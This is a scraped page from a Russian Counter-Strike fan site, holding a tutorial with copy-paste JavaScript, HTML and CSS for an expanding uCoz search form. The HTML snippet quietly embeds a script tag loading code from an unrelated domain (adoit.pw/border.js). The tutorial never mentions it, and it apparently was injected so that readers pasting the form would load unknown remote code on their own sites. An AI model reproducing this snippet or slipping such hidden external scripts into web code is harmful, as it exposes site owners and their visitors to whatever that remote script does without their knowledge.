Меню сайта
Категории раздела
Готовые сервера CS 1.6 [144]Модели игроков CS 1.6 [53]
Скачать Counter-Strike [18]Модели оружия CS 1.6 [31]
Античиты CS 1.6 [8]Плагины CS 1.6 [90]
Мувики CS 1.6 [0]Разное CS 1.6 [17]
Статьи CS 1.6 [13]Карты CS 1.6 [12]
Патчи CS 1.6 [5]Боты CS 1.6 [8]
Софт CS 1.6 [13]Темы CS 1.6 [14]
Лого CS 1.6 [47]Мои файлы [0]
Скрипты [105]Шапки [13]
Шаблоны [19]Иконки групп [23]
HTML Таблица [2]Кнопки для форума [16]
Как создать сервер ? [7]Как сд.серв на 2 протокола ? [0]
Как быть с динамическим IP ? [0]Делаем плагин для AMXMods [0]
Установка плагинов [0]Делаем демки HLTV [0]
Кисти [8]Иконки [0]
Стили [0]Уроки [4]
Градиенты [0]Шрифты [7]
Готовые PSD работы [1]Описания оружия CS 1.6 [0]
Скачать favicon.ico [34]Наш Баннер [0]
Радары [14]Кофиги [5]
Прицелы [0]Кнопки скачать [11]
Выстрелы [16]Статьи Тюряги [1]
Уроки взлома [1]Проги для тюряги [9]
Читы CS 1.6 [24]Скачать Список КоРеШей [1]
Моды CS 1.6 [3]Музыка CS 1.6 [6]
PSD Аватаров [2]Скачать Браузер [4]
Модели Игроков [4]Модели Оружия [18]
Темы меню [7]Программы [2]
Логотипы [12]Видео [0]
Карты [4]Патчи [2]
Боты [0]Готовые сервера CSS [1]
Читы CSS [9]Скачать CSS [8]
Скачать PhotoShop [1]PSD 88x31 [2]
PSD 150x200 [3]Читы на Танки Online [7]
Читы на NFS World [1]Читы на Point Blank [5]
Мини-чат

Для добавления сообщения зарегистрируйтесь.
Наш опрос
За кого чаще всего играешь?
Всего ответов: 203
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Пятница, 27.04.2018, 00:13
Приветствую Вас Гость

Каталог файлов

Главная » Файлы » Скрипты

Создаём раздвижную форму поиска для uCoz
11.08.2013, 13:49
Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

Код
<script src="http://pnghosts.ru/js_css/classie.js"></script>
<script src="http://pnghosts.ru/js_css/uisearch.js"></script>
<script>
  new UISearch( document.getElementById( 'sb-search' ) );
</script>


Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

Код
<!-- Поиск по сайту -->  
  <div id="sb-search" class="sb-search">
  <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
  <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
  <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
  </form>  
  </div>  
  <!-- /Поиск по сайту -->


Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

Код
/* Раздвижная форма поиска для uCoz
------------------------------------------*/
.sb-search {
  position: relative;
  margin-top: 10px;
  width: 0%;
  min-width: 32px;
  height: 32px;
  float: right;
  overflow: hidden;
   
  -webkit-transition: width 0.3s;
  -moz-transition: width 0.3s;
  transition: width 0.3s;
  -webkit-backface-visibility: hidden;
}

.sb-search-input {
  position: absolute;
  top: 0;
  right: 0;
   
  margin: 0;
  z-index: 10;
  width:300px;
  height: 20px;
  outline: none;
  background: #fff;  
  border: 1px solid #CAD3DA;  
  padding: 5px 32px 5px 20px;
   
  font:11px Verdana,Arial,Helvetica, sans-serif;
  color:#555;  
  border-radius:3px 0px 0px 3px;  
}

.sb-search-input::-webkit-input-placeholder {
  color: #efb480;
}

.sb-search-input:-moz-placeholder {
  color: #efb480;
}

.sb-search-input::-moz-placeholder {
  color: #efb480;
}

.sb-search-input:-ms-input-placeholder {
  color: #efb480;
}

.sb-icon-search,
.sb-search-submit {
  position: absolute;
  right: 0;
  top: 0;
  margin: 0;
   
  width: 32px;
  height: 32px;
  display: block;

  line-height: 30px;
  text-align: center;
  cursor: pointer;
}

.sb-search-submit {
  background: #fff;
  color: transparent;
  border: none;
  outline: none;
  z-index: -1;
  -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
  filter: alpha(opacity=0);  
  opacity: 0;  
}

.sb-icon-search {
  border:none;  
  z-index: 90;
  background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  -webkit-font-smoothing: antialiased;
  border-radius:3px 3px 3px 3px;  
}

.sb-icon-search:before {
  content: "\e000";
}

.sb-search.sb-search-open,
.no-js .sb-search {
  width: 100%;
}

.sb-search.sb-search-open .sb-icon-search,
.no-js .sb-search .sb-icon-search {
  background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  z-index: 11;
  border-radius:0px 3px 3px 0px;  
}

.sb-search.sb-search-open .sb-search-submit,
.no-js .sb-search .sb-search-submit {
  z-index: 90;
}


На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

Спасибо за внимание!
Категория: Скрипты | Добавил: DoG2928
Просмотров: 94 | Загрузок: 0 | Рейтинг: 0.0/0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Вход на сайт
CS-MONITOR.RU

Мониторинг серверов CS 1.6
Сервера для CS 1.6
Друзья
Скачать CS 1.6. Лучшие сборки КС 1.6 CS-BEST - ТОП Counter Strike серверов
Поиск
Друзья сайта